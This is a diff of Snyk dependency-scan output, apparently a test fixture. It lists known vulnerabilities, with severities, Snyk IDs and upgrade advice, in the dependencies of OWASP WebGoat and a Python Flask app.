[https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088328] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088329] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088330] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088332] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088333] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088334] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088335] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088336] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088338] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1294540] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Denial of Service (DoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569189] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Insecure XML deserialization [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-460764] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1040458] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088337] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569176] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569177] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569178] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569179] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569180] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569181] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569182] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Remote Code Execution (RCE) [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569183] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569185] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569186] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569187] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Server-Side Request Forgery (SSRF) [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569190] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Server-Side Request Forgery (SSRF) [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569191] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-2388977] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ XML External Entity (XXE) Injection [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-30385] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-31394] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [CRITICAL] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088331] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + +Issues with no direct upgrade or patch: + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12009535] in com.fasterxml.jackson.core:jackson-core@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + This issue was fixed in: 2.12.6 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12010004] in com.fasterxml.jackson.core:jackson-databind@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 + This issue was fixed in: 2.12.6 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068051] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068052] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068053] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068054] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068055] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068056] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068057] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Division by zero [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238610] in com.fasterxml.jackson.core:jackson-core@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + ✗ Division by zero [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238618] in com.fasterxml.jackson.core:jackson-core@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + ✗ Arbitrary File Upload [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12246954] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-13283910] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-13283911] in com.fasterxml.jackson.core:jackson-databind@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-18369184] in com.fasterxml.jackson.core:jackson-databind@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 + ✗ Information Exposure [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-ORGSLF4J-12060275] in org.slf4j:slf4j-api@2.0.18 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > org.thymeleaf.extras:thymeleaf-extras-springsecurity6@3.1.5.RELEASE > org.slf4j:slf4j-api@2.0.18 + ✗ Arbitrary File Read [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-ORGSLF4J-12238606] in org.slf4j:slf4j-api@2.0.18 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > org.thymeleaf.extras:thymeleaf-extras-springsecurity6@3.1.5.RELEASE > org.slf4j:slf4j-api@2.0.18 + ✗ Arbitrary File Upload [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-ORGSLF4J-12238607] in org.slf4j:slf4j-api@2.0.18 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > org.thymeleaf.extras:thymeleaf-extras-springsecurity6@3.1.5.RELEASE > org.slf4j:slf4j-api@2.0.18 + ✗ Directory Traversal [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238609] in com.fasterxml.jackson.core:jackson-core@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + ✗ Buffer Overflow [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238611] in com.fasterxml.jackson.core:jackson-core@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-13270217] in com.fasterxml.jackson.core:jackson-annotations@2.21 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + ✗ Directory Traversal [CRITICAL] [https://security.snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238608] in com.fasterxml.jackson.core:jackson-core@2.21.4 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + +╭────────────────────────────────────────────────────────────╮ +│ Test Summary │ +│ │ +│ Organization: My Org │ +│ Test type: Software Composition Analysis │ +│ Project path: multi-project │ +│ Target file: webgoat/pom.xml │ +│ │ +│ Total security issues: 55 │ +│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ +│ Open : 55 [ 2 CRITICAL  21 HIGH  32 MEDIUM  0 LOW ] │ +╰────────────────────────────────────────────────────────────╯ ───────────────────────────────────────────────────── -Testing (python/requirements.txt) ... +Testing (python-pip-app-jarvis2/requirements.txt) ... + +Tested 33 dependencies for known issues, found 17 issues, 49 vulnerable paths. -Tested 7 dependencies for known issues, found 11 issues, 22 vulnerable paths. +Open Security issues: 17 -Open Security issues: 11 + ✗ [MEDIUM] CRLF Injection + Finding ID: SNYK-PYTHON-HTTPLIB2-569758 + Info: https://snyk.io/vuln/SNYK-PYTHON-HTTPLIB2-569758 + Introduced by: httplib2 + Introduced through: python-pip-app-jarvis2@0.0.0 > httplib2@0.10.3 ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) Finding ID: SNYK-PYTHON-JINJA2-1012994 Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-1012994 Introduced by: jinja2 - Introduced through: python@0.0.0 > jinja2@2.7.2 - Risk Score: 84 + Introduced through: python-pip-app-jarvis2@0.0.0 > jinja2@2.9.6 ✗ [MEDIUM] Sandbox Escape Finding ID: SNYK-PYTHON-JINJA2-174126 Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-174126 Introduced by: jinja2 - Introduced through: python@0.0.0 > jinja2@2.7.2 - Risk Score: 154 - - ✗ [MEDIUM] Cross-site Scripting (XSS) - Finding ID: SNYK-PYTHON-JINJA2-6150717 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717 - Introduced by: jinja2 - Introduced through: python@0.0.0 > jinja2@2.7.2 - Risk Score: 81 + Introduced through: python-pip-app-jarvis2@0.0.0 > jinja2@2.9.6 - ✗ [MEDIUM] Cross-site Scripting (XSS) - Finding ID: SNYK-PYTHON-JINJA2-6809379 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-6809379 - Introduced by: jinja2 - Introduced through: python@0.0.0 > jinja2@2.7.2 - Risk Score: 82 + ✗ [MEDIUM] Access Restriction Bypass + Finding ID: SNYK-PYTHON-RSA-570831 + Info: https://snyk.io/vuln/SNYK-PYTHON-RSA-570831 + Introduced by: rsa + Introduced through: python-pip-app-jarvis2@0.0.0 > rsa@3.4.2 - ✗ [MEDIUM] Template Injection - Finding ID: SNYK-PYTHON-JINJA2-8548181 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-8548181 - Introduced by: jinja2 - Introduced through: python@0.0.0 > jinja2@2.7.2 - Risk Score: 98 + ✗ [MEDIUM] Arbitrary File Upload + Finding ID: SNYK-PYTHON-SETUPTOOLS-12246955 + Info: https://snyk.io/vuln/SNYK-PYTHON-SETUPTOOLS-12246955 + Introduced by: setuptools + Introduced through: python-pip-app-jarvis2@0.0.0 > apscheduler@3.3.1 > setuptools@79.0.1 - ✗ [MEDIUM] Improper Neutralization - Finding ID: SNYK-PYTHON-JINJA2-8548987 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-8548987 - Introduced by: jinja2 - Introduced through: python@0.0.0 > jinja2@2.7.2 - Risk Score: 190 + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-PYTHON-URLLIB3-1533435 + Info: https://snyk.io/vuln/SNYK-PYTHON-URLLIB3-1533435 + Introduced by: urllib3 + Introduced through: python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 - ✗ [MEDIUM] Template Injection - Finding ID: SNYK-PYTHON-JINJA2-9292516 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-9292516 - Introduced by: jinja2 - Introduced through: python@0.0.0 > jinja2@2.7.2 - Risk Score: 190 + ✗ [MEDIUM] Authentication Bypass + Finding ID: SNYK-PYTHON-URLLIB3-72681 + Info: https://snyk.io/vuln/SNYK-PYTHON-URLLIB3-72681 + Introduced by: urllib3 + Introduced through: python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 - ✗ [MEDIUM] Directory Traversal - Finding ID: SNYK-PYTHON-WERKZEUG-8309091 - Info: https://snyk.io/vuln/SNYK-PYTHON-WERKZEUG-8309091 - Introduced by: werkzeug - Introduced through: python@0.0.0 > werkzeug@3.0.1 - Risk Score: 53 + ✗ [HIGH] Improper Input Validation + Finding ID: SNYK-PYTHON-FLASK-42185 + Info: https://snyk.io/vuln/SNYK-PYTHON-FLASK-42185 + Introduced by: flask + Introduced through: python-pip-app-jarvis2@0.0.0 > flask@0.12.2 - ✗ [MEDIUM] Allocation of Resources Without Limits or Throttling - Finding ID: SNYK-PYTHON-WERKZEUG-8309092 - Info: https://snyk.io/vuln/SNYK-PYTHON-WERKZEUG-8309092 - Introduced by: werkzeug - Introduced through: python@0.0.0 > werkzeug@3.0.1 - Risk Score: 61 + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-PYTHON-FLASK-451637 + Info: https://snyk.io/vuln/SNYK-PYTHON-FLASK-451637 + Introduced by: flask + Introduced through: python-pip-app-jarvis2@0.0.0 > flask@0.12.2 - ✗ [HIGH] Sandbox Bypass - Finding ID: SNYK-PYTHON-JINJA2-455616 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-455616 - Introduced by: jinja2 - Introduced through: python@0.0.0 > jinja2@2.7.2 - Risk Score: 171 + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-PYTHON-HTTPLIB2-1065795 + Info: https://snyk.io/vuln/SNYK-PYTHON-HTTPLIB2-1065795 + Introduced by: httplib2 + Introduced through: python-pip-app-jarvis2@0.0.0 > httplib2@0.10.3 + + ✗ [HIGH] CRLF Injection + Finding ID: SNYK-PYTHON-HTTPLIB2-570767 + Info: https://snyk.io/vuln/SNYK-PYTHON-HTTPLIB2-570767 + Introduced by: httplib2 + Introduced through: python-pip-app-jarvis2@0.0.0 > httplib2@0.10.3 + + ✗ [HIGH] Timing Attack + Finding ID: SNYK-PYTHON-RSA-1038401 + Info: https://snyk.io/vuln/SNYK-PYTHON-RSA-1038401 + Introduced by: rsa + Introduced through: python-pip-app-jarvis2@0.0.0 > rsa@3.4.2 + + ✗ [HIGH] HTTP Header Injection + Finding ID: SNYK-PYTHON-URLLIB3-1014645 + Info: https://snyk.io/vuln/SNYK-PYTHON-URLLIB3-1014645 + Introduced by: urllib3 + Introduced through: python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 + + ✗ [HIGH] CRLF injection + Finding ID: SNYK-PYTHON-URLLIB3-174323 + Info: https://snyk.io/vuln/SNYK-PYTHON-URLLIB3-174323 + Introduced by: urllib3 + Introduced through: python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 - ✗ [HIGH] Remote Code Execution (RCE) - Finding ID: SNYK-PYTHON-WERKZEUG-6808933 - Info: https://snyk.io/vuln/SNYK-PYTHON-WERKZEUG-6808933 + ✗ [HIGH] Improper Certificate Validation + Finding ID: SNYK-PYTHON-URLLIB3-174464 + Info: https://snyk.io/vuln/SNYK-PYTHON-URLLIB3-174464 + Introduced by: urllib3 + Introduced through: python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 + + ✗ [CRITICAL] Information Exposure + Finding ID: SNYK-PYTHON-REQUESTS-72435 + Info: https://snyk.io/vuln/SNYK-PYTHON-REQUESTS-72435 + Introduced by: requests + Introduced through: python-pip-app-jarvis2@0.0.0 > requests@2.17.3 + + ✗ [CRITICAL] Insufficient Randomness + Finding ID: SNYK-PYTHON-WERKZEUG-458931 + Info: https://snyk.io/vuln/SNYK-PYTHON-WERKZEUG-458931 Introduced by: werkzeug - Introduced through: python@0.0.0 > werkzeug@3.0.1 - Risk Score: 292 + Introduced through: python-pip-app-jarvis2@0.0.0 > werkzeug@0.12.2 Issues to fix by upgrading: - Upgrade jinja2@2.7.2 to jinja2@3.1.6 to fix - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-1012994] in jinja2@2.7.2 - introduced by python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Sandbox Escape [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-174126] in jinja2@2.7.2 - introduced by python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717] in jinja2@2.7.2 - introduced by python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6809379] in jinja2@2.7.2 - introduced by python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Template Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-8548181] in jinja2@2.7.2 - introduced by python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Improper Neutralization [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-8548987] in jinja2@2.7.2 - introduced by python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Template Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-9292516] in jinja2@2.7.2 - introduced by python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Sandbox Bypass [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-455616] in jinja2@2.7.2 - introduced by python@0.0.0 > jinja2@2.7.2 and 1 other path - - Upgrade werkzeug@3.0.1 to werkzeug@3.0.6 to fix - ✗ Directory Traversal [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-WERKZEUG-8309091] in werkzeug@3.0.1 - introduced by python@0.0.0 > werkzeug@3.0.1 and 1 other path - ✗ Allocation of Resources Without Limits or Throttling [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-WERKZEUG-8309092] in werkzeug@3.0.1 - introduced by python@0.0.0 > werkzeug@3.0.1 and 1 other path - ✗ Remote Code Execution (RCE) [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-WERKZEUG-6808933] in werkzeug@3.0.1 - introduced by python@0.0.0 > werkzeug@3.0.1 and 1 other path - -╭──────────────────────────────────────────────────────────╮ -│ Test Summary │ -│ │ -│ Organization: My Org │ -│ Test type: Software Composition Analysis │ -│ Project path: multi-project │ -│ Target file: python/requirements.txt │ -│ │ -│ Total security issues: 11 │ -│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ -│ Open : 11 [ 0 CRITICAL  2 HIGH  9 MEDIUM  0 LOW ] │ -╰──────────────────────────────────────────────────────────╯ + Upgrade flask@0.12.2 to flask@0.12.3 to fix + ✗ Improper Input Validation [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-FLASK-42185] in flask@0.12.2 + introduced by python-pip-app-jarvis2@0.0.0 > flask@0.12.2 and 1 other path + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-FLASK-451637] in flask@0.12.2 + introduced by python-pip-app-jarvis2@0.0.0 > flask@0.12.2 and 1 other path + + Upgrade httplib2@0.10.3 to httplib2@0.19.0 to fix + ✗ CRLF Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-HTTPLIB2-569758] in httplib2@0.10.3 + introduced by python-pip-app-jarvis2@0.0.0 > httplib2@0.10.3 and 3 other paths + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-HTTPLIB2-1065795] in httplib2@0.10.3 + introduced by python-pip-app-jarvis2@0.0.0 > httplib2@0.10.3 and 3 other paths + ✗ CRLF Injection [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-HTTPLIB2-570767] in httplib2@0.10.3 + introduced by python-pip-app-jarvis2@0.0.0 > httplib2@0.10.3 and 3 other paths + + Upgrade jinja2@2.9.6 to jinja2@2.11.3 to fix + ✗ Regular Expression Denial of Service (ReDoS) 